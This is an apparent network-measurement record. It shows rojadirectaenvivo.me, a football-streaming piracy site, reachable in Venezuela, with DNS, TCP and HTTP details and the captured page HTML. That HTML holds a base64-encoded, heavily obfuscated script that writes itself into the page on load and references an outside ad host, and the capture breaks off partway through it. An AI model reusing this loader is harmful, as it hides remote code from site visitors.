OK
https://rojadirectaenvivo.me/
Websites
Runtime: 2.2s
On April 03, 2025, 04:11 AM UTC, https://rojadirectaenvivo.me/ was accessible when tested on AS8048 in Venezuela.
Failures
HTTP Experiment
null
DNS Experiment
null
Control
null
DNS Queries
Resolver:
200.44.1.70
Query:
IN A rojadirectaenvivo.me
Engine:
system
Name
Class
TTL
Type
DATA
@
IN
A
172.67.129.24
@
IN
A
104.21.2.107
Query:
IN AAAA rojadirectaenvivo.me
Engine:
system
Name
Class
TTL
Type
DATA
@
IN
AAAA
2606:4700:3037::6815:26b
@
IN
AAAA
2606:4700:3033::ac43:8118
TCP Connections
Connection to 2606:4700:3033::ac43:8118:443 was blocked.
Connection to 2606:4700:3037::6815:26b:443 was blocked.
Connection to 104.21.2.107:443 succeeded.
Connection to 172.67.129.24:443 succeeded.
HTTP Requests
URL
GET https://rojadirectaenvivo.me/
Response Headers
Alt-Svc:h3=":443"; ma=86400Cf-Cache-Status:DYNAMICCf-Ray:92a5b8c4ae60875b-MIAContent-Type:text/html; charset=UTF-8Date:Thu, 03 Apr 2025 04:11:24 GMTNel:{"success_fraction":0,"report_to":"cf-nel","max_age":604800}Report-To:{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DgE9OdBSiJun3fruOn7uykOVcXDNCS87xVAp8zfsHerVqjrDafgmGfMtf9Jwu6SXDLNq%2BI%2BTQKpODk50hbQ7WdMayC12SMxWlXofLacYZsBCg2EBdtJFJDkcRQ2VYhLv%2FJE6HBjdBA%3D%3D"}],"group":"cf-nel","max_age":604800}Server:cloudflareServer-Timing:cfL4;desc="?proto=TCP&rtt=79743&min_rtt=78327&rtt_var=10868&sent=8&recv=12&lost=0&retrans=0&sent_bytes=3223&recv_bytes=666&delivery_rate=52046&cwnd=145&unsent_bytes=0&cid=90045da1a99c8dbd&ts=890&x=0"Vary:Accept-Encoding,User-AgentX-Turbo-Charged-By:LiteSpeed
Response Body
<!DOCTYPE html> <html lang="es"> <head> <meta name="google-site-verification" content="yqVtJuaunIfrhHRSfKwaIVtCA7WXkOx7JW7lzOz6ZO8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>ROJADIRECTA | Tarjeta Roja TV | Futbol En Vivo✔️</title> <meta name="description" content="Rojadirecta, Tarjeta Roja TV, Rojadirecta.me, Rojadirectatv.tv, Futbol En Vivo, LaLiga de España, Serie A, Premier League, UEFA Champions League, ..." /> <meta content='ROJADIRECTATV.TV,ROJADIRECTA.ME, ROJADIRECTA,ROJADIRECTAENVIVO.CLUB, TarjetarojaTv, tarjetarojaonline, rojadirectatv, rojadirecta, rojadirecta tv, en Vivo, ver en Vivo, link para ver, ver futbol online,futbol en vivo, universitario, palmeiras, cerro porteño, liga mx, Club America, Chivas de guadalajara, LaLiga SmartBank, Copa America, Copa libertadores, Libertadores en Vivo, Futbol en Vivo,Eurocopa,Champions League,Final Champions League,Manchester city, chelsea,Manchester City vs Chelsea,Manchester United, espn 3, espn 2, fox sport 2, goltv,vtv, bein sport, tygo sport, Barcelona, PSG, Bayern Munich, Real Madrid, Atletico Madrid y Monaco, Juventus' name='keywords' /> <meta name="viewport" content="width=device-width,initial-scale=1.0" /> <meta name="a.validate.01" content="7d519535015760ce317caf3051c9c5266447" /> <meta charset="utf-8"> <link rel='canonical' href="https://www.rojadirectaenvivo.me/"> <meta content="Rojadirecta" name="author" /> <link rel="shortcut icon" href='/favicon.ico'> <meta name="robots" content="index, follow" /> <body onload="guardaHorario();dT();"> <meta http-equiv="refresh" content="2000" /> <meta name="distribution" content="global" /> <meta property="og:title" content="ROJADIRECTA - Tarjeta Roja TV - Futbol En Vivo✔️"> <meta property="og:description" content="Rojadirecta, Tarjeta Roja TV, Futbol En Vivo, LaLiga de España, Serie A, Premier League, UEFA Champions League, Bundesliga,..."> <meta property="og:url" content="https://www.rojadirectaenvivo.me/"> <meta property="og:site_name" content="Rojadirecta: Tarjeta Roja TV - Pirlo Tv - Elitegol"> <meta name="msvalidate.01" content="9152956BA10DA64F44DF9E6C37F14675" /> <script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script> <link href="/css/layout.css" rel="stylesheet" type="text/css" /> <script data-ad-client="ca-pub-8702104398163871" async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script> <script async src="https://www.googletagmanager.com/gtag/js?id=UA-140929827-1"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'UA-140929827-1'); </script> <script>document.write(atob("PHNjcmlwdCBkYXRhLWNmYXN5bmM9ImZhbHNlIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPihmdW5jdGlvbigkLGRvY3VtZW50KXtmb3IoJC5fRXU9JC5CRDskLl9FdTwkLkZvOyQuX0V1Kz0kLnkpe3N3aXRjaCgkLl9FdSl7Y2FzZSAkLkZsOiFmdW5jdGlvbihyKXtmb3IoJC5fRT0kLkJEOyQuX0U8JC5DZjskLl9FKz0kLnkpe3N3aXRjaCgkLl9FKXtjYXNlICQuQ0I6dS5tPXIsdS5jPWUsdS5kPWZ1bmN0aW9uKG4sdCxyKXt1Lm8obix0KXx8T2JqZWN0WyQuZV0obix0LCQuJCgkLkJGLCEkLnksJC5DaywhJC5CRCwkLkNoLHIpKTt9LHUubj1mdW5jdGlvbihuKXtmb3IoJC5fQz0kLkJEOyQuX0M8JC5DQjskLl9DKz0kLnkpe3N3aXRjaCgkLl9DKXtjYXNlICQueTpyZXR1cm4gdS5kKHQsJC5DYSx0KSx0O2JyZWFrO2Nhc2UgJC5CRDp2YXIgdD1uJiZuWyQuQ2NdP2Z1bmN0aW9uKCl7cmV0dXJuIG5bJC5DaV07fTpmdW5jdGlvbigpe3JldHVybiBuO307YnJlYWs7fX19LHUubz1mdW5jdGlvbihuLHQpe3JldHVybiBPYmplY3RbJC5DRl1bJC5DSl1bJC5Cel0obix0KTt9LHUucD0kLkJ1LHUodS5zPSQuQngpO2JyZWFrO2Nhc2UgJC55OmZ1bmN0aW9uIHUobil7Zm9yKCQuX0I9JC5CRDskLl9CPCQuQ2Y7JC5fQis9JC55KXtzd2l0Y2goJC5fQil7Y2FzZSAkLkNCOnJldHVybiByW25dWyQuQnpdKHRbJC5Cd10sdCx0WyQuQnddLHUpLHQubD0hJC5CRCx0WyQuQnddO2JyZWFrO2Nhc2UgJC55OnZhciB0PWVbbl09JC4kKCQuQ0MsbiwkLkNFLCEkLnksJC5CdywkLiQoKSk7YnJlYWs7Y2FzZSAkLkJEOmlmKGVbbl0pcmV0dXJuIGVbbl1bJC5Cd107YnJlYWs7fX19YnJlYWs7Y2FzZSAkLkJEOnZhciBlPSQuJCgpO2JyZWFrO319fShbZnVuY3Rpb24obix0LHIpe2ZvcigkLl9nPSQuQkQ7JC5fZzwkLkNmOyQuX2crPSQueSl7c3dpdGNoKCQuX2cpe2Nhc2UgJC5DQjp0LmU9NDcyMzMwMyx0LmE9NDcyMzMwMix0LnY9NSx0Lnc9MSx0Lmg9MTUsdC55PTMsdC5fPXRydWUsdC5nPWdbJC5Kd10oYignZXlKaFpHSnNiMk5ySWpwN2ZTd2laWGhqYkhWa1pYTWlPaUlpZlE9PScpKSx0Lk89MSx0Lms9J0x5OW5jblZ1YjJGd2FDNXVaWFF2TlM4ME56SXpNekF6Jyx0LkE9Mix0LlM9JC5JcSoxNjY4MDE0OTY3LHQuUD0nWmV6JCN0XipFRm5nJyx0Lk09J2lyaicsdC5UPSdsdGtmd3J3bzJ1aicsdC5CPSd5OWJ3OTNoeEZ3c3pyYjNyOScsdC5OPSdsZzlTcnNyJyx0Lkk9Jzhxa2lpOG1md3JkJyx0LkM9J190bXBieW0nLHQuUj0nX2xrYXBjc3EnO2JyZWFrO2Nhc2UgJC55Ok9iamVjdFskLmVdKHQsJC5DYywkLiQoJC5JaywhJC5CRCkpO2JyZWFrO2Nhc2UgJC5CRDokLkNyO2JyZWFrO319fSxmdW5jdGlvbihuLHQsZSl7Zm9yKCQuX0RJPSQuQkQ7JC5fREk8JC5EQzskLl9ESSs9JC55KXtzd2l0Y2goJC5fREkpe2Nhc2UgJC5DZjpmdW5jdGlvbiB3KCl7Zm9yKCQuX0RIPSQuQkQ7JC5fREg8JC5DQjskLl9ESCs9JC55KXtzd2l0Y2goJC5fREgpe2Nhc2UgJC55OnRbJC5JaF0ocy5KLCQuR3IrKCQuQkQsZi5aKSgpKSx0WyQuSWldKHMuJCxjLlFbZC5PXSksdFskLklsXT1mdW5jdGlvbigpe2lmKCQuYWQ9PT10WyQuYkpdKXtmb3IoJC5fREE9JC5CRDskLl9EQTwkLkNCOyQuX0RBKz0kLnkpe3N3aXRjaCgkLl9EQSl7Y2FzZSAkLnk6blskLmxdKGZ1bmN0aW9uKG4pe2ZvcigkLl9CYj0kLkJEOyQuX0JiPCQuQ0I7JC5fQmIrPSQueSl7c3dpdGNoKCQuX0JiKXtjYXNlICQueTp1W3JdPWU7YnJlYWs7Y2FzZSAkLkJEOnZhciB0PW5bJC5Hdl0oJC5keSkscj10WyQuY2pdKClbJC5lRl0oKSxlPXRbJC5CdF0oJC5keSk7YnJlYWs7fX19KSx1W3MuV10/KGw9ISQuQkQsKCQuQkQsYS5ubikodVtzLlddKSk6dVtzLnRuXSYmKCQuQkQsYS5ubikodVtzLnRuXSk7YnJlYWs7Y2FzZSAkLkJEOnZhciBuPXRbJC5jcl0oKVskLmRkXSgpWyQuR3ZdKG5ldyBSZWdFeHAoJC5keiwkLkJ1KSksdT0kLiQoKTticmVhazt9fX19LHRbJC5Jal0oKTticmVhaztjYXNlICQuQkQ6dmFyIHQ9bmV3IHdpbmRvd1skLkpqXSgpO2JyZWFrO319fWJyZWFrO2Nhc2UgJC55Ok9iamVjdFskLmVdKHQsJC5DYywkLiQoJC5JaywhJC5CRCkpLHRbJC5EaV09ZnVuY3Rpb24oKXtyZXR1cm4gJC5KdCtkLmUrJC5iaDt9LHQuej1mdW5jdGlvbigpe3JldHVybiAkLkp6K2QuZTt9LHQuRD1mdW5jdGlvbigpe3JldHVybigkLkJELGEuSCkoKTt9LHQuRj1mdW5jdGlvbigpe3JldHVyblsoJC5CRCx1LkwpKG8uR1skLkRzXSxvWyQuR29dWyQuRHNdKSwoJC5CRCx1LkwpKG9bJC5Fcl1bJC5Ec10sb1skLkdvXVskLkRzXSldWyQuQnRdKCQuYnApO30sdC5WPWZ1bmN0aW9uKCl7Zm9yKCQuX0JkPSQuQkQ7JC5fQmQ8JC5DQjskLl9CZCs9JC55KXtzd2l0Y2goJC5fQmQpe2Nhc2UgJC55Om4uaWQ9aS5VLHdpbmRvd1skLkpJXShuLCQuSnYpO2JyZWFrO2Nhc2UgJC5CRDp2YXIgbj0kLiQoKSx0PXIoZnVuY3Rpb24oKXsoJC5CRCxmLlgpKCkmJih2KHQpLHcoKSk7fSwkLkprKTticmVhazt9fX0sdC5ZPXcsdC5LPWZ1bmN0aW9uKCl7cmV0dXJuIG5ldyBQcm9taXNlKGZ1bmN0aW9uKHQsZSl7dmFyIHU9JC5CRCxpPXIoZnVuY3Rpb24oKXtmb3IoJC5fQ0g9JC5CRDskLl9DSDwkLkNCOyQuX0NIKz0kLnkpe3N3aXRjaCgkLl9DSCl7Y2FzZSAkLnk6bj8odihpKSxsJiYoKCQuQkQsZlskLkRxXSkoKSx0KG4pKSx0KCkpOiQuRm88PXUmJih2KGkpLGUoKSksdSs9JC55O2JyZWFrO2Nhc2UgJC5CRDp2YXIgbj0oJC5CRCxhLkgpKCk7YnJlYWs7fX19LCQuSmspO30pO307YnJlYWs7Y2FzZSAkLkNCOnZhciB1PWUoJC5DQiksaT1lKCQuQ2YpLG89ZSgkLkZrKSxjPWUoJC5GbCksZj1lKCQuRm0pLGE9ZSgkLkZuKSxkPWUoJC5CRCkscz1lKCQuRm8pLGw9ISQueTticmVhaztjYXNlICQuQkQ6JC5DcjticmVhazt9fX0sZnVuY3Rpb24obix0LHIpe2ZvcigkLl9DSj0kLkJEOyQuX0NKPCQuRnQ7JC5fQ0orPSQueSl7c3dpdGNoKCQuX0NKKXtjYXNlICQuQ2Y6ZnVuY3Rpb24gYShuKXtmb3IoJC5fQms9JC5CRDskLl9CazwkLkNCOyQuX0JrKz0kLnkpe3N3aXRjaCgkLl9Cayl7Y2FzZSAkLnk6cmV0dXJuIGU8PXQmJnQ8PXU/dC1lOm88PXQmJnQ8PWM/dC1vK2k6JC5CRDticmVhaztjYXNlICQuQkQ6dmFyIHQ9blskLkJ2XSgpWyQuYkNdKCQuQkQpO2JyZWFrO319fWJyZWFrO2Nhc2UgJC55Ok9iamVjdFskLmVdKHQsJC5DYywkLiQoJC5JaywhJC5CRCkpLHRbJC5Eal09YSx0WyQub109ZCx0LnJuPWZ1bmN0aW9uKG4sdSl7cmV0dXJuIG5bJC5Hdl0oJC5CdSlbJC5hYV0oZnVuY3Rpb24obix0KXtmb3IoJC5fQkY9JC5CRDskLl9CRjwkLkNCOyQuX0JGKz0kLnkpe3N3aXRjaCgkLl9CRil7Y2FzZSAkLnk6cmV0dXJuIGQoZSk7YnJlYWs7Y2FzZSAkLkJEOnZhciByPSh1KyQueSkqKHQrJC55KSxlPShhKG4pK3IpJWY7YnJlYWs7fX19KVskLkJ0XSgkLkJ1KTt9LHQuZW49ZnVuY3Rpb24obix1KXtyZXR1cm4gblskLkd2XSgkLkJ1KVskLmFhXShmdW5jdGlvbihuLHQpe2ZvcigkLl9CZj0kLkJEOyQuX0JmPCQuQ0I7JC5fQmYrPSQueSl7c3dpdGNoKCQuX0JmKXtjYXNlICQueTpyZXR1cm4gZChlKTticmVhaztjYXNlICQuQkQ6dmFyIHI9dVt0JSh1WyQuR3BdLSQueSldLGU9KGEobikrYShyKSklZjticmVhazt9fX0pWyQuQnRdKCQuQnUpO30sdC5MPWZ1bmN0aW9uKG4sYyl7cmV0dXJuIG5bJC5Hdl0oJC5CdSlbJC5hYV0oZnVuY3Rpb24obix0KXtmb3IoJC5fQmE9JC5CRDskLl9CYTwkLkNCOyQuX0JhKz0kLnkpe3N3aXRjaCgkLl9CYSl7Y2FzZSAkLnk6cmV0dXJuIGQobyk7YnJlYWs7Y2FzZSAkLkJEOnZhciByPWNbdCUoY1skLkdwXS0kLnkpXSxlPWEociksdT1hKG4pLGk9dS1lLG89aTwkLkJEP2krZjppO2JyZWFrO319fSlbJC5CdF0oJC5CdSk7fTticmVhaztjYXNlICQuREM6ZnVuY3Rpb24gZChuKXtyZXR1cm4gbjw9JC5GbD9rWyQub10obitlKTpuPD0kLmNrP2tbJC5vXShuK28taSk6a1skLm9dKGUpO31icmVhaztjYXNlICQuQ0I6dmFyIGU9JC5DdCx1PSQuQ3UsaT11LWUrJC55LG89JC5DdixjPSQuQ3csZj1jLW8rJC55K2k7YnJlYWs7Y2FzZSAkLkJEOiQuQ3I7YnJlYWs7fX19LGZ1bmN0aW9uKHQscix1KXtmb3IoJC5fQ3o9JC5CRDskLl9DejwkLkZ0OyQuX0N6Kz0kLnkpe3N3aXRjaCgkLl9Deil7Y2FzZSAkLkNmOnIuY249ZlskLkJuXSgpWyQuQnZdKCQuQnkpWyQuQ0FdKCQuQ0IpLHIuaW49ZlskLkJuXSgpWyQuQnZdKCQuQnkpWyQuQ0FdKCQuQ0IpLHIuVT1mWyQuQm5dKClbJC5Cdl0oJC5CeSlbJC5DQV0oJC5DQiksci51bj1mWyQuQm5dKClbJC5Cdl0oJC5CeSlbJC5DQV0oJC5DQik7YnJlYWs7Y2FzZSAkLnk6T2JqZWN0WyQuZV0ociwkLkNjLCQuJCgkLklrLCEkLkJEKSksci51bj1yLlU9ci5pbj1yLmNuPXIuZm49ci5hbj12b2lkICQuQkQ7YnJlYWs7Y2FzZSAkLkRDOmMmJihjWyQuQl0oYSxmdW5jdGlvbiB0KHIpe2NbJC5DXShhLHQpLFsoJC5CRCxpLmRuKShuWyQuY3NdKSwoJC5CRCxpLnNuKSh3aW5kb3dbJC5iQl1bJC50XSksKCQuQkQsaS52bikobmV3IGUoKSksKCQuQkQsaS5sbikod2luZG93WyQuYnJdWyQuYnhdKSwoJC5CRCxpLnduKShuWyQuY3hdfHxuWyQuZG9dKV1bJC5sXShmdW5jdGlvbih0KXtmb3IoJC5fQ2g9JC5CRDskLl9DaDwkLkNCOyQuX0NoKz0kLnkpe3N3aXRjaCgkLl9DaCl7Y2FzZSAkLnk6cShmdW5jdGlvbigpe2ZvcigkLl9DYj0kLkJEOyQuX0NiPCQuQ0I7JC5fQ2IrPSQueSl7c3dpdGNoKCQuX0NiKXtjYXNlICQueTpuLmlkPXJbJC5hdl0sblskLklrXT10LHdpbmRvd1skLkpJXShuLCQuSnYpLCgkLkJELG9bJC5EbF0pKCQuZXErdCk7YnJlYWs7Y2FzZSAkLkJEOnZhciBuPSQuJCgpO2JyZWFrO319fSxuKTticmVhaztjYXNlICQuQkQ6dmFyIG49bSgkLkZvKmZbJC5Cbl0oKSwkLkZvKTticmVhazt9fX0pO30pLGNbJC5CXShkLGZ1bmN0aW9uIG4odCl7Zm9yKCQuX0JJPSQuQkQ7JC5fQkk8JC5GdDskLl9CSSs9JC55KXtzd2l0Y2goJC5fQkkpe2Nhc2UgJC5DZjp2YXIgZT13aW5kb3dbJC5icl1bJC5ieF0sdT1uZXcgd2luZG93WyQuSmpdKCk7YnJlYWs7Y2FzZSAkLnk6dmFyIHI9JC4kKCk7YnJlYWs7Y2FzZSAkLkRDOnVbJC5JaF0oJC5IeSxlKSx1WyQuSWxdPWZ1bmN0aW9uKCl7clskLkRhXT11WyQuY3JdKCksd2luZG93WyQuSkldKHIsJC5Kdik7fSx1WyQuR25dPWZ1bmN0aW9uKCl7clskLkRhXT0kLmNHLHdpbmRvd1skLkpJXShyLCQuSnYpO30sdVskLklqXSgpO2JyZWFrO2Nhc2UgJC5DQjpyLmlkPXRbJC5hdl07YnJlYWs7Y2FzZSAkLkJEOmNbJC5DXShkLG4pO2JyZWFrO319fSkpO2JyZWFrO2Nhc2UgJC5DQjp2YXIgaT11KCQuRnApLG89dSgkLkRDKSxjPSQuQ3MhPXR5cGVvZiBkb2N1bWVudD9kb2N1bWVudFskLmFdOm51bGwsYT1yLmFuPSQuSmQsZD1yLmZuPSQuSmU7YnJlYWs7Y2FzZSAkLkJEOiQuQ3I7YnJlYWs7fX19LGZ1bmN0aW9uKG4sdCxyKXtmb3IoJC5fQmM9JC5CRDskLl9CYzwkLkNmOyQuX0JjKz0kLnkpe3N3aXRjaCgkLl9CYyl7Y2FzZSAkLkNCOnZhciBlPVtdO2JyZWFrO2Nhc2UgJC55Ok9iamVjdFskLmVdKHQsJC5DYywkLiQoJC5JaywhJC5CRCkpLHRbJC5Ea109ZnVuY3Rpb24oKXtyZXR1cm4gZTt9LHRbJC5EbF09ZnVuY3Rpb24obil7ZVskLkNBXSgtJC55KVskLmFyXSgpIT09biYmZVskLmFoXShuKTt9O2JyZWFrO2Nhc2UgJC5CRDokLkNyO2JyZWFrO319fSxmdW5jdGlvbihuLHQscil7Zm9yKCQuX0Y9JC5CRDskLl9GPCQuQ2Y7JC5fRis9JC55KXtzd2l0Y2goJC5fRil7Y2FzZSAkLkNCOnQuaG49JC5IbSx0Lm1uPSQuSG4sdC55bj0kLkhvLHQuX249JC5IcCx0LmJuPSQuQkQsdC5wbj0kLnksdC5nbj0kLkNCLHQuam49JC5IcTticmVhaztjYXNlICQueTpPYmplY3RbJC5lXSh0LCQuQ2MsJC4kKCQuSWssISQuQkQpKTticmVhaztjYXNlICQuQkQ6JC5DcjticmVhazt9fX0sZnVuY3Rpb24obix0LHIpe2ZvcigkLl9EZD0kLkJEOyQuX0RkPCQuQ2Y7JC5fRGQrPSQueSl7c3dpdGNoKCQuX0RkKXtjYXNlICQuQ0I6dmFyIHU9cigkLkNCKSx2PXIoJC5GbSksbD1yKCQuQkQpLGY9dC5Pbj1uZXcgaigkLmFDLCQuQnUpLGk9KCQuQ3MhPXR5cGVvZiBkb2N1bWVudD9kb2N1bWVudDokLiQoJC5hLG51bGwpKVskLmFdLHc9JC5DeCx5PSQuQ3ksXz0kLkN6LGI9JC5EQTticmVhaztjYXNlICQueTpPYmplY3RbJC5lXSh0LCQuQ2MsJC4kKCQuSWssISQuQkQpKSx0Lk9uPXZvaWQgJC5CRCx0LmtuPWZ1bmN0aW9uKGUsdSxpKXtmb3IoJC5fQno9JC5CRDskLl9CejwkLkNCOyQuX0J6Kz0kLnkpe3N3aXRjaCgkLl9Ceil7Y2FzZSAkLnk6cmV0dXJuIGVbJC5Ec109b1tjXSxlWyQuR3BdPW9bJC5HcF0sZnVuY3Rpb24obil7Zm9yKCQuX0JtPSQuQkQ7JC5fQm08JC5DQjskLl9CbSs9JC55KXtzd2l0Y2goJC5fQm0pe2Nhc2UgJC55OmlmKHQ9PT11KWZvcig7ci0tOyljPShjKz1pKT49b1skLkdwXT8kLkJEOmMsZVskLkRzXT1vW2NdO2JyZWFrO2Nhc2UgJC5CRDp2YXIgdD1uJiZuWyQuYW1dJiZuWyQuYW1dLmlkLHI9biYmblskLmFtXSYmblskLmFtXVskLklrXTticmVhazt9fX07YnJlYWs7Y2FzZSAkLkJEOnZhciBvPWVbJC5Fc11bJC5Hdl0oZilbJC5hZl0oZnVuY3Rpb24obil7cmV0dXJuIWZbJC5KZl0obik7fSksYz0kLkJEO2JyZWFrO319fSx0WyQuRG1dPWZ1bmN0aW9uKGQscyl7cmV0dXJuIGZ1bmN0aW9uKG4pe2ZvcigkLl9ERT0kLkJEOyQuX0RFPCQuQ0I7JC5fREUrPSQueSl7c3dpdGNoKCQuX0RFKXtjYXNlICQueTppZih0PT09cyl0cnl7Zm9yKCQuX0NrPSQuQkQ7JC5fQ2s8JC5DQjskLl9Days9JC55KXtzd2l0Y2goJC5fQ2spe2Nhc2UgJC55OmRbJC5Ecl09bShhL2wueSwkLkZvKSskLnksZFskLkR1XT1kWyQuRHVdP2RbJC5EdV06bmV3IGUoaSlbJC5jSV0oKSxkWyQuRHNdPSgkLkJELHZbJC5Eb10pKGMrbC5QKTticmVhaztjYXNlICQuQkQ6dmFyIHU9ZFskLkR1XT9uZXcgZShkWyQuRHVdKVskLkJ2XSgpOnJbJC5Hdl0odylbJC5jdl0oZnVuY3Rpb24obil7cmV0dXJuIG5bJC5lc10oJC5ldik7fSksaT11WyQuR3ZdKHkpWyQuYXJdKCksbz1uZXcgZShpKVskLmRnXSgpWyQuR3ZdKF8pLGM9b1skLmNqXSgpLGY9b1skLmNqXSgpWyQuR3ZdKGIpLGE9ZlskLmNqXSgpO2JyZWFrO319fWNhdGNoKG4pe2RbJC5Ec109JC5jRzt9YnJlYWs7Y2FzZSAkLkJEOnZhciB0PW4mJm5bJC5hbV0mJm5bJC5hbV0uaWQscj1uJiZuWyQuYW1dJiZuWyQuYW1dWyQuRGFdO2JyZWFrO319fTt9LHQuQW49ZnVuY3Rpb24obix0KXtmb3IoJC5fZT0kLkJEOyQuX2U8JC5DQjskLl9lKz0kLnkpe3N3aXRjaCgkLl9lKXtjYXNlICQueTpyWyQuYXZdPW4saVskLkZdKHIpO2JyZWFrO2Nhc2UgJC5CRDp2YXIgcj1uZXcgRXZlbnQodCk7YnJlYWs7fX19LHQuU249ZnVuY3Rpb24ocixuKXtyZXR1cm4gaFskLkNnXShudWxsLCQuJCgkLkdwLG4pKVskLmFhXShmdW5jdGlvbihuLHQpe3JldHVybigkLkJELHUucm4pKHIsdCk7fSlbJC5CdF0oJC5lZyk7fTticmVhaztjYXNlICQuQkQ6JC5DcjticmVhazt9fX0sZnVuY3Rpb24obix0LHUpe2ZvcigkLl9EbD0kLkJEOyQuX0RsPCQuRmw7JC5fRGwrPSQueSl7c3dpdGNoKCQuX0RsKXtjYXNlICQuRm06ZnVuY3Rpb24gYihuLHQpe3JldHVybiBuKyhtWyQuRHNdPSQuYXoqbVskLkRzXSUkLmJ2LG1bJC5Ec10lKHQtbikpO31icmVhaztjYXNlICQuQ2Y6ZnVuY3Rpb24gdyhuKXtmb3IoJC5fQnc9JC5CRDskLl9CdzwkLkNCOyQuX0J3Kz0kLnkpe3N3aXRjaCgkLl9Cdyl7Y2FzZSAkLnk6cmV0dXJuIGhbJC5KSF0obik7YnJlYWs7Y2FzZSAkLkJEOmlmKGhbJC5KR10obikpe2ZvcigkLl9CcD0kLkJEOyQuX0JwPCQuQ0I7JC5fQnArPSQueSl7c3dpdGNoKCQuX0JwKXtjYXNlICQueTpyZXR1cm4gcjticmVhaztjYXNlICQuQkQ6Zm9yKHZhciB0PSQuQkQscj1oKG5bJC5HcF0pO3Q8blskLkdwXTt0Kyspclt0XT1uW3RdO2JyZWFrO319fWJyZWFrO319fWJyZWFrO2Nhc2UgJC5GcjohZnVuY3Rpb24gdCgpe2ZvcigkLl9EaD0kLkJEOyQuX0RoPCQuRnQ7JC5fRGgrPSQueSl7c3dpdGNoKCQuX0RoKXtjYXNlICQuQ2Y6dmFyIHU9cihmdW5jdGlvbigpe2lmKCQuQnUhPT1tWyQuRHNdKXtmb3IoJC5fRGM9JC5CRDskLl9EYzwkLkNmOyQuX0RjKz0kLnkpe3N3aXRjaCgkLl9EYyl7Y2FzZSAkLkNCOm1bJC5EdF09ISQuQkQsbVskLkRzXT0kLkJ1O2JyZWFrO2Nhc2UgJC55OnRyeXtmb3IoJC5fREY9JC5CRDskLl9ERjwkLkNCOyQuX0RGKz0kLnkpe3N3aXRjaCgkLl9ERil7Y2FzZSAkLnk6cShmdW5jdGlvbigpe2lmKCFfKXtmb3IoJC5fQng9JC5CRDskLl9CeDwkLkNCOyQuX0J4Kz0kLnkpe3N3aXRjaCgkLl9CeCl7Y2FzZSAkLnk6bVskLkR1XSs9bix0KCksKCQuQkQsaS54bikoKSwoJC5CRCxkLlYpKCk7YnJlYWs7Y2FzZSAkLkJEOnZhciBuPW5ldyBlKClbJC5jSV0oKS15WyQuY0ldKCk7YnJlYWs7fX19fSwkLmNkKTticmVhaztjYXNlICQuQkQ6aWYoaChtWyQuRHJdKVskLmRuXSgkLkJEKVskLmxdKGZ1bmN0aW9uKG4pe2ZvcigkLl9DeT0kLkJEOyQuX0N5PCQuQ2Y7JC5fQ3krPSQueSl7c3dpdGNoKCQuX0N5KXtjYXNlICQuQ0I6aCh0KVskLmRuXSgkLkJEKVskLmxdKGZ1bmN0aW9uKG4pe21bJC5Cbl0rPWtbJC5vXShiKCQuQ3YsJC5DdykpO30pO2JyZWFrO2Nhc2UgJC55OnZhciB0PWIoJC5GciwkLkdGKTticmVhaztjYXNlICQuQkQ6bVskLkJuXT0kLkJ1O2JyZWFrO319fSksKCQuQkQsYS5xbikoKSlyZXR1cm47YnJlYWs7fX19Y2F0Y2gobil7fWJyZWFrO2Nhc2UgJC5CRDppZih2KHUpLHdpbmRvd1skLkNdKCQuR20sbiksJC5jRz09PW1bJC5Ec10pcmV0dXJuIHZvaWQobVskLkR0XT0hJC5CRCk7YnJlYWs7fX19fSwkLkprKTticmVhaztjYXNlICQueTp5PW5ldyBlKCk7YnJlYWs7Y2FzZSAkLkRDOndpbmRvd1skLkJdKCQuR20sbik7YnJlYWs7Y2FzZSAkLkNCOnZhciBuPSgkLkJELG9bJC5EbV0pKG0sYy5VKTticmVhaztjYXNlICQuQkQ6bVskLkR0XT0hJC55O2JyZWFrO319fSgpO2JyZWFrO2Nhc2UgJC5GdDptWyQuQm5dPSQuQnUsbVskLkRyXT0kLkJ1LG1bJC5Ec109JC5CdSxtWyQuRHRdPXZvaWQgJC5CRCxtWyQuRHVdPW51bGwsbVskLkR2XT0oJC5CRCxzLkwpKGwuTSxsLlQpO2JyZWFrO2Nhc2UgJC5DQjp2YXIgaT11KCQuRm4pLG89dSgkLkZxKSxjPXUoJC5DZiksYT11KCQuRnIpLGQ9dSgkLnkpLHM9dSgkLkNCKSxsPXUoJC5CRCk7YnJlYWs7Y2FzZSAkLnk6T2JqZWN0WyQuZV0odCwkLkNjLCQuJCgkLklrLCEkLkJEKSksdFskLkRuXT12b2lkICQuQkQsdFskLkRvXT1mdW5jdGlvbihuKXtyZXR1cm4gblskLkd2XSgkLkJ1KVskLmJqXShmdW5jdGlvbihuLHQpe3JldHVybihuPDwkLkZ0KS1uK3RbJC5iQ10oJC5CRCkmJC5idjt9LCQuQkQpO30sdC5aPWZ1bmN0aW9uKCl7cmV0dXJuW21bJC5Cbl0sbVskLkR2XV1bJC5CdF0oJC5icCk7fSx0WyQuRHBdPWZ1bmN0aW9uKCl7Zm9yKCQuX0NJPSQuQkQ7JC5fQ0k8JC5DQjskLl9DSSs9JC55KXtzd2l0Y2goJC5fQ0kpe2Nhc2UgJC55OnJldHVybltdWyQuYW5dKHcoaChuKSkpWyQuYWFdKGZ1bmN0aW9uKG4pe3JldHVybiB0W2ZbJC5Cbl0oKSp0WyQuR3BdfCQuQkRdO30pWyQuQnRdKCQuQnUpO2JyZWFrO2Nhc2UgJC5CRDp2YXIgdD1bXVskLmFuXSh3KCQuYmwpKSxuPSQuREMrKCQuYWcqZlskLkJuXSgpfCQuQkQpO2JyZWFrO319fSx0Llg9ZnVuY3Rpb24oKXtyZXR1cm4gbVskLkR0XTt9LHRbJC5EcV09ZnVuY3Rpb24oKXtfPSEkLkJEO307YnJlYWs7Y2FzZSAkLkZxOnZhciB5PW5ldyBlKCksXz0hJC55O2JyZWFrO2Nhc2UgJC5EQzp2YXIgbT10WyQuRG5dPSQuJCgpO2JyZWFrO2Nhc2UgJC5CRDokLkNyO2JyZWFrO319fSxmdW5jdGlvbihuLHQscil7Zm9yKCQuX0RlPSQuQkQ7JC5fRGU8JC5DZjskLl9EZSs9JC55KXtzd2l0Y2goJC5fRGUpe2Nhc2UgJC5DQjp2YXIgZT1yK